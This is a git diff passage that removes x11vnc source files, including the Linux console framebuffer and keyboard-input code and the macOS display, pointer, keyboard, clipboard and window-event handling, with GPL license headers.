- file = strdup(tmp);
- fd = open(file, O_RDWR);
- if (fd >= 0) {
- read(fd, tmp, 4);
- rows = (unsigned char) tmp[0];
- cols = (unsigned char) tmp[1];
- close(fd);
- }
- w = cols * 8;
- h = rows * 16;
- rfbLog("%s %dx%d\n", file, cols, rows);
- if (getenv("RAWFB_VCSA_BPP")) {
- /* 8bpp, etc */
- int bt = atoi(getenv("RAWFB_VCSA_BPP"));
- if (bt > 0 && bt <=32) {
- sprintf(tmp, "%dx%dx%d", w, h, bt);
- } else {
- sprintf(tmp, "%dx%dx16", w, h);
- }
- } else {
- /* default 16bpp */
- sprintf(tmp, "%dx%dx16", w, h);
- }
- atparms = strdup(tmp);
- }
- rfbLog("console_guess: file is %s\n", file);
-
- if (! atparms) {
-#if LIBVNCSERVER_HAVE_LINUX_FB_H
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H
- struct fb_var_screeninfo var_info;
- int d = open(file, O_RDWR);
- if (d >= 0) {
- int w, h, b;
- unsigned long rm = 0, gm = 0, bm = 0;
- if (ioctl(d, FBIOGET_VSCREENINFO, &var_info) != -1) {
- w = (int) var_info.xres;
- h = (int) var_info.yres;
- b = (int) var_info.bits_per_pixel;
-
- rm = (1 << var_info.red.length) - 1;
- gm = (1 << var_info.green.length) - 1;
- bm = (1 << var_info.blue.length) - 1;
- rm = rm << var_info.red.offset;
- gm = gm << var_info.green.offset;
- bm = bm << var_info.blue.offset;
-
- if (b == 8 && rm == 0xff && gm == 0xff && bm == 0xff) {
- /* I don't believe it... */
- rm = 0x07;
- gm = 0x38;
- bm = 0xc0;
- }
- if (b <= 8 && (rm == gm && gm == bm)) {
- if (b == 4) {
- rm = 0x07;
- gm = 0x38;
- bm = 0xc0;
- }
- }
-
- /* @66666x66666x32:0xffffffff:... */
- atparms = (char *) malloc(200);
- sprintf(atparms, "%dx%dx%d:%lx/%lx/%lx",
- w, h, b, rm, gm, bm);
- *fd = d;
- } else {
- perror("ioctl");
- close(d);
- }
- } else {
- rfbLog("could not open: %s\n", file);
- rfbLogPerror("open");
- linux_dev_fb_msg(file);
- close(d);
- }
-#endif
-#endif
- }
-
- if (atparms) {
- int gw, gh, gb;
- if (sscanf(atparms, "%dx%dx%d", &gw, &gh, &gb) == 3) {
- fb_x = gw;
- fb_y = gh;
- fb_b = gb;
- }
- }
-
- if (do_input) {
- if (tty >=0 && tty < 64) {
- pipeinput_str = (char *) malloc(10);
- sprintf(pipeinput_str, "CONSOLE%d", tty);
- rfbLog("console_guess: file pipeinput %s\n",
- pipeinput_str);
- initialize_pipeinput();
- } else if (have_uinput) {
- pipeinput_str = strdup("UINPUT");
- rfbLog("console_guess: file pipeinput %s\n",
- pipeinput_str);
- initialize_pipeinput();
- }
- }
-
- if (! atparms) {
- rfbLog("console_guess: could not get @ parameters.\n");
- return NULL;
- }
-
- q = (char *) malloc(strlen("mmap:") + strlen(file) + 1 + strlen(atparms) + 1);
- if (strstr(in, "console_vt")) {
- sprintf(q, "snap:%s@%s", file, atparms);
- } else {
- sprintf(q, "map:%s@%s", file, atparms);
- }
- free(atparms);
- return q;
-}
-
-void console_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client) {
- static int control = 0, alt = 0;
- allowed_input_t input;
-
- if (debug_keyboard) fprintf(stderr, "console_key_command: %d %s\n", (int) keysym, down ? "down" : "up");
-
- if (pipeinput_cons_fd < 0) {
- return;
- }
- if (view_only) {
- return;
- }
- get_allowed_input(client, &input);
- if (! input.keystroke) {
- return;
- }
-
- /* From LinuxVNC.c: */
- if (keysym == XK_Control_L || keysym == XK_Control_R) {
- if (! down) {
- if (control > 0) {
- control--;
- }
- } else {
- control++;
- }
- return;
- }
- if (keysym == XK_Alt_L || keysym == XK_Alt_R) {
- if (! down) {
- if (alt > 0) {
- alt--;
- }
- } else {
- alt++;
- }
- return;
- }
- if (!down) {
- return;
- }
- if (keysym == XK_Escape) {
- keysym = 27;
- }
- if (control) {
- /* shift down to the "control" zone */
- if (keysym >= 'a' && keysym <= 'z') {
- keysym -= ('a' - 1);
- } else if (keysym >= 'A' && keysym <= 'Z') {
- keysym -= ('A' - 1);
- } else {
- keysym = 0xffff;
- }
- } else if (alt) {
- /* shift up to the upper half Latin zone */
- if (keysym >= '!' && keysym <= '~') {
- keysym += 128;
- }
- }
- if (debug_keyboard) fprintf(stderr, "keysym now: %d\n", (int) keysym);
- if (keysym == XK_Tab) {
- keysym = '\t';
- } else if (keysym == XK_Return || keysym == XK_KP_Enter) {
- keysym = '\r';
- } else if (keysym == XK_BackSpace) {
- keysym = 8;
- } else if (keysym == XK_Home || keysym == XK_KP_Home) {
- keysym = 1;
- } else if (keysym == XK_End || keysym == XK_KP_End) {
- keysym = 5;
- } else if (keysym == XK_Up || keysym == XK_KP_Up) {
- keysym = 16;
- } else if (keysym == XK_Down || keysym == XK_KP_Down) {
- keysym = 14;
- } else if (keysym == XK_Right || keysym == XK_KP_Right) {
- keysym = 6;
- } else if (keysym == XK_Next || keysym == XK_KP_Next) {
- keysym = 6;
- } else if (keysym == XK_Left || keysym == XK_KP_Left) {
- keysym = 2;
- } else if (keysym == XK_Prior || keysym == XK_KP_Prior) {
- keysym = 2;
- } else {
- if (keysym >= XK_KP_Multiply && keysym <= XK_KP_Equal) {
- keysym -= 0xFF80;
- }
- }
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H && defined(TIOCSTI)
- if (keysym < 0x100) {
- if (ioctl(pipeinput_cons_fd, TIOCSTI, &keysym) != -1) {
- return;
- }
- perror("ioctl");
- close(pipeinput_cons_fd);
- pipeinput_cons_fd = -1;
- if (! pipeinput_cons_dev) {
- return;
- }
- pipeinput_cons_fd = open(pipeinput_cons_dev, O_WRONLY);
- if (pipeinput_cons_fd < 0) {
- rfbLog("pipeinput: could not reopen %s\n",
- pipeinput_cons_dev);
- perror("open");
- return;
- }
- if (ioctl(pipeinput_cons_fd, TIOCSTI, &keysym) == -1) {
- perror("ioctl");
- close(pipeinput_cons_fd);
- pipeinput_cons_fd = -1;
- rfbLog("pipeinput: could not reopen %s\n",
- pipeinput_cons_dev);
- }
- }
-#endif
-
- if (client) {}
-}
-
-void console_pointer_command(int mask, int x, int y, rfbClientPtr client) {
- /* do not forget viewonly perms */
- if (mask || x || y || client) {}
-}
-
diff --git a/x11vnc/linuxfb.h b/x11vnc/linuxfb.h
deleted file mode 100644
index d3886c9..0000000
--- a/x11vnc/linuxfb.h
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_LINUXFB_H
-#define _X11VNC_LINUXFB_H
-
-/* -- linuxfb.h -- */
-extern char *console_guess(char *str, int *fd);
-extern void console_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-extern void console_pointer_command(int mask, int x, int y, rfbClientPtr client);
-
-
-#endif /* _X11VNC_LINUXFB_H */
diff --git a/x11vnc/macosx.c b/x11vnc/macosx.c
deleted file mode 100644
index 34126f4..0000000
--- a/x11vnc/macosx.c
+++ /dev/null
@@ -1,752 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- macosx.c -- */
-
-#include "rfb/rfbconfig.h"
-#if (defined(__MACH__) && defined(__APPLE__) && defined(LIBVNCSERVER_HAVE_MACOSX_NATIVE_DISPLAY))
-
-#define DOMAC 1
-
-#else
-
-#define DOMAC 0
-
-#endif
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "scan.h"
-#include "screen.h"
-#include "pointer.h"
-#include "allowed_input_t.h"
-#include "keyboard.h"
-#include "cursor.h"
-#include "connections.h"
-#include "macosxCG.h"
-#include "macosxCGP.h"
-#include "macosxCGS.h"
-
-void macosx_log(char *);
-char *macosx_console_guess(char *str, int *fd);
-void macosx_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-void macosx_pointer_command(int mask, int x, int y, rfbClientPtr client);
-char *macosx_get_fb_addr(void);
-int macosx_get_cursor(void);
-int macosx_get_cursor_pos(int *, int *);
-void macosx_send_sel(char *, int);
-void macosx_set_sel(char *, int);
-int macosx_valid_window(Window, XWindowAttributes*);
-
-Status macosx_xquerytree(Window w, Window *root_return, Window *parent_return,
- Window **children_return, unsigned int *nchildren_return);
-int macosx_get_wm_frame_pos(int *px, int *py, int *x, int *y, int *w, int *h,
- Window *frame, Window *win);
-
-void macosx_add_mapnotify(Window win, int level, int map);
-void macosx_add_create(Window win, int level);
-void macosx_add_destroy(Window win, int level);
-void macosx_add_visnotify(Window win, int level, int obscured);
-int macosx_checkevent(XEvent *ev);
-
-void macosx_log(char *str) {
- rfbLog(str);
-}
-
-#if (! DOMAC)
-
-void macosx_event_loop(void) {
- return;
-}
-char *macosx_console_guess(char *str, int *fd) {
- if (!str || !fd) {}
- return NULL;
-}
-void macosx_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client) {
- if (!down || !keysym || !client) {}
- return;
-}
-void macosx_pointer_command(int mask, int x, int y, rfbClientPtr client) {
- if (!mask || !x || !y || !client) {}
- return;
-}
-char *macosx_get_fb_addr(void) {
- return NULL;
-}
-int macosx_get_cursor(void) {
- return 0;
-}
-int macosx_get_cursor_pos(int *x, int *y) {
- if (!x || !y) {}
- return 0;
-}
-void macosx_send_sel(char * str, int len) {
- if (!str || !len) {}
- return;
-}
-void macosx_set_sel(char * str, int len) {
- if (!str || !len) {}
- return;
-}
-int macosx_valid_window(Window w, XWindowAttributes* a) {
- if (!w || !a) {}
- return 0;
-}
-Status macosx_xquerytree(Window w, Window *root_return, Window *parent_return,
- Window **children_return, unsigned int *nchildren_return) {
- if (!w || !root_return || !parent_return || !children_return || !nchildren_return) {}
- return (Status) 0;
-}
-void macosx_add_mapnotify(Window win, int level, int map) {
- if (!win || !level || !map) {}
- return;
-}
-void macosx_add_create(Window win, int level) {
- if (!win || !level) {}
- return;
-}
-void macosx_add_destroy(Window win, int level) {
- if (!win || !level) {}
- return;
-}
-void macosx_add_visnotify(Window win, int level, int obscured) {
- if (!win || !level || !obscured) {}
- return;
-}
-
-int macosx_checkevent(XEvent *ev) {
- if (!ev) {}
- return 0;
-}
-
-
-#else
-
-void macosx_event_loop(void) {
- macosxCG_event_loop();
-}
-
-char *macosx_get_fb_addr(void) {
- macosxCG_init();
- return macosxCG_get_fb_addr();
-}
-
-int macosx_opengl_get_width(void);
-int macosx_opengl_get_height(void);
-int macosx_opengl_get_bpp(void);
-int macosx_opengl_get_bps(void);
-int macosx_opengl_get_spp(void);
-
-char *macosx_console_guess(char *str, int *fd) {
- char *q, *in = strdup(str);
- char *atparms = NULL, *file = NULL;
-
- macosxCG_init();
-
- if (strstr(in, "console") != in) {
- rfbLog("console_guess: unrecognized console/fb format: %s\n", str);
- free(in);
- return NULL;
- }
-
- *fd = -1;
-
- q = strrchr(in, '@');
- if (q) {
- atparms = strdup(q+1);
- *q = '\0';
- }
- q = strrchr(in, ':');
- if (q) {
- file = strdup(q+1);
- *q = '\0';
- }
- if (! file || file[0] == '\0') {
- file = strdup("/dev/null");
- }
- rfbLog("console_guess: file is %s\n", file);
-
- if (! pipeinput_str) {
- pipeinput_str = strdup("MACOSX");
- initialize_pipeinput();
- }
-
- if (! atparms) {
- int w, h, b, bps, dep;
- unsigned long rm = 0, gm = 0, bm = 0;
-
- if (macosx_read_opengl) {
- w = macosx_opengl_get_width();
- h = macosx_opengl_get_height();
- b = macosx_opengl_get_bpp();
-
- bps = macosx_opengl_get_bps();
- dep = macosx_opengl_get_spp() * bps;
-
- } else {
- w = macosxCG_CGDisplayPixelsWide();
- h = macosxCG_CGDisplayPixelsHigh();
- b = macosxCG_CGDisplayBitsPerPixel();
-
- bps = macosxCG_CGDisplayBitsPerSample();
- dep = macosxCG_CGDisplaySamplesPerPixel() * bps;
- }
-
- rm = (1 << bps) - 1;
- gm = (1 << bps) - 1;
- bm = (1 << bps) - 1;
- rm = rm << 2 * bps;
- gm = gm << 1 * bps;
- bm = bm << 0 * bps;
-
- if (b == 8 && rm == 0xff && gm == 0xff && bm == 0xff) {
- /* I don't believe it... */
- rm = 0x07;
- gm = 0x38;
- bm = 0xc0;
- }
-
- /* @66666x66666x32:0xffffffff:... */
- atparms = (char *) malloc(200);
- sprintf(atparms, "%dx%dx%d:%lx/%lx/%lx", w, h, b, rm, gm, bm);
- }
- if (atparms) {
- int gw, gh, gb;
- if (sscanf(atparms, "%dx%dx%d", &gw, &gh, &gb) == 3) {
- fb_x = gw;
- fb_y = gh;
- fb_b = gb;
- }
- }
- if (! atparms) {
- rfbLog("console_guess: could not get @ parameters.\n");
- return NULL;
- }
-
- q = (char *) malloc(strlen("map:macosx:") + strlen(file) + 1 + strlen(atparms) + 1);
- sprintf(q, "map:macosx:%s@%s", file, atparms);
- free(atparms);
- return q;
-}
-
-Window macosx_click_frame = None;
-
-void macosx_pointer_command(int mask, int x, int y, rfbClientPtr client) {
- allowed_input_t input;
- static int last_mask = 0;
- int rc;
-
- if (0) fprintf(stderr, "macosx_pointer_command: %d %d - %d\n", x, y, mask);
-
- if (mask >= 0) {
- got_pointer_calls++;
- }
-
- if (view_only) {
- return;
- }
-
- get_allowed_input(client, &input);
-
- if (! input.motion || ! input.button) {
- /* XXX fix me with last_x, last_y, etc. */
- return;
- }
-
- if (mask >= 0) {
- got_user_input++;
- got_pointer_input++;
- last_pointer_client = client;
- last_pointer_time = time(NULL);
- }
- if (last_mask != mask) {
- if (0) fprintf(stderr, "about to inject mask change %d -> %d: %.4f\n", last_mask, mask, dnowx());
- if (mask) {
- int px, py, x, y, w, h;
- macosx_click_frame = None;
- if (!macosx_get_wm_frame_pos(&px, &py, &x, &y, &w, &h, &macosx_click_frame, NULL)) {
- macosx_click_frame = None;
- }
- }
- }
-
- macosxCG_pointer_inject(mask, x, y);
-
- if (cursor_x != x || cursor_y != y) {
- last_pointer_motion_time = dnow();
- }
-
- cursor_x = x;
- cursor_y = y;
-
- if (last_mask != mask) {
- last_pointer_click_time = dnow();
- if (ncache > 0) {
- /* XXX Y */
- int i;
-if (0) fprintf(stderr, "about to get all windows: %.4f\n", dnowx());
- for (i=0; i < 2; i++) {
- macosxCGS_get_all_windows();
- if (0) fprintf(stderr, "!");
- if (macosx_checkevent(NULL)) {
- break;
- }
- }
-if (0) fprintf(stderr, "\ndone: %.4f\n", dnowx());
- }
- }
- last_mask = mask;
-
- /* record the x, y position for the rfb screen as well. */
- cursor_position(x, y);
-
- /* change the cursor shape if necessary */
- rc = set_cursor(x, y, get_which_cursor());
- cursor_changes += rc;
-
- last_event = last_input = last_pointer_input = time(NULL);
-}
-
-void init_key_table(void) {
- macosxCG_init_key_table();
-}
-
-void macosx_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client) {
- allowed_input_t input;
- if (debug_keyboard) fprintf(stderr, "macosx_key_command: %d %s\n", (int) keysym, down ? "down" : "up");
-
- if (view_only) {
- return;
- }
- get_allowed_input(client, &input);
- if (! input.keystroke) {
- return;
- }
-
- init_key_table();
- macosxCG_keysym_inject((int) down, (unsigned int) keysym);
-}
-
-extern void macosxGCS_poll_pb(void);
-
-int macosx_get_cursor_pos(int *x, int *y) {
- macosxCG_get_cursor_pos(x, y);
- if (nofb) {
- /* good time to poll the pasteboard */
- macosxGCS_poll_pb();
- }
- return 1;
-}
-
-static char *cuttext = NULL;
-static int cutlen = 0;
-
-void macosx_send_sel(char *str, int len) {
- if (screen && all_clients_initialized()) {
- if (cuttext) {
- int n = cutlen;
- if (len < n) {
- n = len;
- }
- if (!memcmp(str, cuttext, (size_t) n)) {
- /* the same text we set pasteboard to ... */
- return;
- }
- }
- if (debug_sel) {
- rfbLog("macosx_send_sel: %d\n", len);
- }
- rfbSendServerCutText(screen, str, len);
- }
-}
-
-void macosx_set_sel(char *str, int len) {
- if (screen && all_clients_initialized()) {
- if (cutlen <= len) {
- if (cuttext) {
- free(cuttext);
- }
- cutlen = 2*(len+1);
- cuttext = (char *) calloc(cutlen, 1);
- }
- memcpy(cuttext, str, (size_t) len);
- cuttext[len] = '\0';
- if (debug_sel) {
- rfbLog("macosx_set_sel: %d\n", len);
- }
- macosxGCS_set_pasteboard(str, len);
- }
-}
-
-int macosx_get_cursor(void) {
- return macosxCG_get_cursor();
-}
-
-typedef struct evdat {
- int win;
- int map;
- int level;
- int vis;
- int type;
-} evdat_t;
-
-#define MAX_EVENTS 1024
-evdat_t mac_events[MAX_EVENTS];
-int mac_events_ptr = 0;
-int mac_events_last = 0;
-
-void macosx_add_mapnotify(Window win, int level, int map) {
- int i = mac_events_last++;
- mac_events[i].win = win;
- mac_events[i].level = level;
-
- if (map) {
- mac_events[i].type = MapNotify;
- } else {
- mac_events[i].type = UnmapNotify;
- }
- mac_events[i].map = map;
- mac_events[i].vis = -1;
-
- mac_events_last = mac_events_last % MAX_EVENTS;
-
- return;
-}
-
-void macosx_add_create(Window win, int level) {
- int i = mac_events_last++;
- mac_events[i].win = win;
- mac_events[i].level = level;
-
- mac_events[i].type = CreateNotify;
- mac_events[i].map = -1;
- mac_events[i].vis = -1;
-
- mac_events_last = mac_events_last % MAX_EVENTS;
-
- return;
-}
-
-void macosx_add_destroy(Window win, int level) {
- int i = mac_events_last++;
- mac_events[i].win = win;
- mac_events[i].level = level;
-
- mac_events[i].type = DestroyNotify;
- mac_events[i].map = -1;
- mac_events[i].vis = -1;
-
- mac_events_last = mac_events_last % MAX_EVENTS;
-
- return;
-}
-
-void macosx_add_visnotify(Window win, int level, int obscured) {
- int i = mac_events_last++;
- mac_events[i].win = win;
- mac_events[i].level = level;
-
- mac_events[i].type = VisibilityNotify;
- mac_events[i].map = -1;
-
- mac_events[i].vis = 1;
- if (obscured == 0) {
- mac_events[i].vis = VisibilityUnobscured;
- } else if (obscured == 1) {
- mac_events[i].vis = VisibilityPartiallyObscured;
- } else if (obscured == 2) {
- mac_events[i].vis = VisibilityFullyObscured; /* NI */
- }
-
- mac_events_last = mac_events_last % MAX_EVENTS;
-
- return;
-}
-
-int macosx_checkevent(XEvent *ev) {
- int i = mac_events_ptr;
-
- if (mac_events_ptr == mac_events_last) {
- return 0;
- }
- if (ev == NULL) {
- return mac_events[i].type;
- }
-
- ev->xany.window = mac_events[i].win;
-
- if (mac_events[i].type == CreateNotify) {
- ev->type = CreateNotify;
- ev->xany.window = rootwin;
- ev->xcreatewindow.window = mac_events[i].win;
- } else if (mac_events[i].type == DestroyNotify) {
- ev->type = DestroyNotify;
- ev->xdestroywindow.window = mac_events[i].win;
- } else if (mac_events[i].type == VisibilityNotify) {
- ev->type = VisibilityNotify;
- ev->xvisibility.state = mac_events[i].vis;
- } else if (mac_events[i].type == MapNotify) {
- ev->type = MapNotify;
- } else if (mac_events[i].type == UnmapNotify) {
- ev->type = UnmapNotify;
- } else {
- fprintf(stderr, "unknown macosx_checkevent: %d\n", mac_events[i].type);
- }
- mac_events_ptr++;
- mac_events_ptr = mac_events_ptr % MAX_EVENTS;
-
- return mac_events[i].type;
-}
-
-typedef struct windat {
- int win;
- int x, y;
- int width, height;
- int level;
- int mapped;
- int clipped;
- int ncache_only;
-} windat_t;
-
-extern int macwinmax;
-extern windat_t macwins[];
-
-int macosx_get_wm_frame_pos(int *px, int *py, int *x, int *y, int *w, int *h,
- Window *frame, Window *win) {
- static int last_idx = -1;
- int x1, x2, y1, y2;
- int idx = -1, k;
- macosxCGS_get_all_windows();
- macosxCG_get_cursor_pos(px, py);
-
- for (k = 0; k<macwinmax; k++) {
- if (! macwins[k].mapped) {
- continue;
- }
- x1 = macwins[k].x;
- x2 = macwins[k].x + macwins[k].width;
- y1 = macwins[k].y;
- y2 = macwins[k].y + macwins[k].height;
-if (debug_wireframe) fprintf(stderr, "%d/%d: %d %d %d - %d %d %d\n", k, macwins[k].win, x1, *px, x2, y1, *py, y2);
- if (x1 <= *px && *px < x2) {
- if (y1 <= *py && *py < y2) {
- idx = k;
- break;
- }
- }
- }
- if (idx < 0) {
- return 0;
- }
-
- *x = macwins[idx].x;
- *y = macwins[idx].y;
- *w = macwins[idx].width;
- *h = macwins[idx].height;
- *frame = (Window) macwins[idx].win;
- if (win != NULL) {
- *win = *frame;
- }
-
- last_idx = idx;
-
- return 1;
-}
-
-int macosx_valid_window(Window w, XWindowAttributes* a) {
- static int last_idx = -1;
- int win = (int) w;
- int i, k, idx = -1;
-
- if (last_idx >= 0 && last_idx < macwinmax) {
- if (macwins[last_idx].win == win) {
- idx = last_idx;
- }
- }
-
- if (idx < 0) {
- idx = macosxCGS_get_qlook(w);
- if (idx >= 0 && idx < macwinmax) {
- if (macwins[idx].win != win) {
- idx = -1;
- }
- } else {
- idx = -1;
- }
- }
-
- if (idx < 0) {
- for (i = 0; i<macwinmax; i++) {
- k = i;
- if (i == -1) {
- if (last_idx >= 0 && last_idx < macwinmax) {
- k = last_idx;
- } else {
- last_idx = -1;
- continue;
- }
- }
- if (macwins[k].win == win) {
- idx = k;
- break;
- }
- }
- }
- if (idx < 0) {
- return 0;
- }
-
- a->x = macwins[idx].x;
- a->y = macwins[idx].y;
- a->width = macwins[idx].width;
- a->height = macwins[idx].height;
- a->depth = depth;
- a->border_width = 0;
- a->backing_store = 0;
- if (macwins[idx].mapped) {
- a->map_state = IsViewable;
- } else {
- a->map_state = IsUnmapped;
- }
-
- last_idx = idx;
-
- return 1;
-}
-
-#define QTMAX 2048
-static Window cret[QTMAX];
-
-extern int CGS_levelmax;
-extern int CGS_levels[];
-
-Status macosx_xquerytree(Window w, Window *root_return, Window *parent_return,
- Window **children_return, unsigned int *nchildren_return) {
-
- int i, n, k;
-
- *root_return = (Window) 0;
- *parent_return = (Window) 0;
- if (!w) {}
-
- macosxCGS_get_all_windows();
-
- n = 0;
- for (k = CGS_levelmax - 1; k >= 0; k--) {
- for (i = macwinmax - 1; i >= 0; i--) {
- if (n >= QTMAX) break;
- if (macwins[i].level == CGS_levels[k]) {
-if (0) fprintf(stderr, "k=%d i=%d n=%d\n", k, i, n);
- cret[n++] = (Window) macwins[i].win;
- }
- }
- }
- *children_return = cret;
- *nchildren_return = (unsigned int) macwinmax;
-
- return (Status) 1;
-}
-
-int macosx_check_offscreen(int win) {
- sraRegionPtr r0, r1;
- int x1, y1, x2, y2;
- int ret;
- int i = macosxCGS_find_index(win);
-
- if (i < 0) {
- return 0;
- }
-
- x1 = macwins[i].x;
- y1 = macwins[i].y;
- x2 = macwins[i].x + macwins[i].width;
- y2 = macwins[i].y + macwins[i].height;
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r1 = sraRgnCreateRect(x1, y1, x2, y2);
-
- if (sraRgnAnd(r1, r0)) {
- ret = 0;
- } else {
- ret = 1;
- }
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
-
- return ret;
-}
-
-int macosx_check_clipped(int win, int *list, int n) {
- sraRegionPtr r0, r1, r2;
- int x1, y1, x2, y2;
- int ret = 0;
- int k, j, i = macosxCGS_find_index(win);
-
- if (i < 0) {
- return 0;
- }
-
- x1 = macwins[i].x;
- y1 = macwins[i].y;
- x2 = macwins[i].x + macwins[i].width;
- y2 = macwins[i].y + macwins[i].height;
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r1 = sraRgnCreateRect(x1, y1, x2, y2);
- sraRgnAnd(r1, r0);
-
- for (k = 0; k < n; k++) {
- j = macosxCGS_find_index(list[k]); /* XXX slow? */
- if (j < 0) {
- continue;
- }
- x1 = macwins[j].x;
- y1 = macwins[j].y;
- x2 = macwins[j].x + macwins[j].width;
- y2 = macwins[j].y + macwins[j].height;
- r2 = sraRgnCreateRect(x1, y1, x2, y2);
- if (sraRgnAnd(r2, r1)) {
- ret = 1;
- sraRgnDestroy(r2);
- break;
- }
- sraRgnDestroy(r2);
- }
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
-
- return ret;
-}
-
-
-#endif /* LIBVNCSERVER_HAVE_MACOSX_NATIVE_DISPLAY */
-
diff --git a/x11vnc/macosx.h b/x11vnc/macosx.h
deleted file mode 100644
index 60620c8..0000000
--- a/x11vnc/macosx.h
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_MACOSX_H
-#define _X11VNC_MACOSX_H
-
-/* -- macosx.h -- */
-
-extern void macosx_log(char *);
-extern char *macosx_console_guess(char *str, int *fd);
-extern char *macosx_get_fb_addr(void);
-extern void macosx_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-extern void macosx_pointer_command(int mask, int x, int y, rfbClientPtr client);
-extern void macosx_event_loop(void);
-extern int macosx_get_cursor(void);
-extern int macosx_get_cursor_pos(int *, int *);
-extern int macosx_valid_window(Window, XWindowAttributes*);
-extern Status macosx_xquerytree(Window w, Window *root_return, Window *parent_return,
- Window **children_return, unsigned int *nchildren_return);
-extern int macosx_get_wm_frame_pos(int *px, int *py, int *x, int *y, int *w, int *h,
- Window *frame, Window *win);
-extern void macosx_send_sel(char *, int);
-extern void macosx_set_sel(char *, int);
-
-extern void macosx_add_mapnotify(Window win, int level, int map);
-extern void macosx_add_create(Window win, int level);
-extern void macosx_add_destroy(Window win, int level);
-extern void macosx_add_visnotify(Window win, int level, int obscured);
-extern int macosx_checkevent(XEvent *ev);
-
-extern Window macosx_click_frame;
-
-
-#endif /* _X11VNC_MACOSX_H */
diff --git a/x11vnc/macosxCG.c b/x11vnc/macosxCG.c
deleted file mode 100644
index 12041e0..0000000
--- a/x11vnc/macosxCG.c
+++ /dev/null
@@ -1,989 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- macosxCG.c -- */
-
-/*
